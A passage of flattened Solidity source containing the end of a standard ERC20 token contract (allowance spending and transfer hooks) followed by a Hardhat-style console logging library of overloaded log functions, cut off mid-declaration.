address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory 